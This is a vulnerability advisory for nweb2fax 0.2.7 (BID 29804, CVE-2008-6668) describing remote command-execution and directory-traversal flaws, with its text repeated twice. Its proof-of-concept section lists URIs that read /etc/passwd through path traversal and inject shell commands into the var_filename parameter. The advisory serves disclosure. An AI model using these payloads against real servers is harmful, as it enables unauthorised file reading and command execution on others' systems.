nweb2fax Multiple Remote Vulnerabilities
BID:29804
Info
nweb2fax Multiple Remote Vulnerabilities
| Bugtraq ID: | 29804 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-6668 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 18 2008 12:00AM |
| Updated: | May 07 2015 05:28PM |
| Credit: | dun |
| Vulnerable: |
nweb2fax nweb2fax 0.2.7 |
| Not Vulnerable: | |
Discussion
nweb2fax Multiple Remote Vulnerabilities
The 'nweb2fax' program is prone to multiple remote vulnerabilities, including command-execution and directory-traversal vulnerabilities, because the application fails to properly sanitize user-supplied input.
Exploiting these issues allows attackers to view arbitrary files or execute arbitrary shell commands in the context of the server.
A successful exploit could facilitate the compromise of an affected computer; other attacks are also possible.
These issues affect nweb2fax 0.2.7 and prior versions.
The 'nweb2fax' program is prone to multiple remote vulnerabilities, including command-execution and directory-traversal vulnerabilities, because the application fails to properly sanitize user-supplied input.
Exploiting these issues allows attackers to view arbitrary files or execute arbitrary shell commands in the context of the server.
A successful exploit could facilitate the compromise of an affected computer; other attacks are also possible.
These issues affect nweb2fax 0.2.7 and prior versions.
Exploit / POC
nweb2fax Multiple Remote Vulnerabilities
Attackers can exploit these issues via a browser.
The following proof-of-concept URIs are available:
http://www.example.com/comm.php?id=../../../../../../../../../../etc/passwd
http://www.example.com/viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd
http://www.example.com/viewrq.php?format=tif&var_filename=;id%3E/tmp/id.txt;chmod%20777%20/tmp/id.txt;
http://www.example.com/viewrq.php?format=pdf&var_filename=;id%3E/tmp/id2.txt;chmod%20777%20/tmp/id2.txt;id
Attackers can exploit these issues via a browser.
The following proof-of-concept URIs are available:
http://www.example.com/comm.php?id=../../../../../../../../../../etc/passwd
http://www.example.com/viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd
http://www.example.com/viewrq.php?format=tif&var_filename=;id%3E/tmp/id.txt;chmod%20777%20/tmp/id.txt;
http://www.example.com/viewrq.php?format=pdf&var_filename=;id%3E/tmp/id2.txt;chmod%20777%20/tmp/id2.txt;id
Solution / Fix
nweb2fax Multiple Remote Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].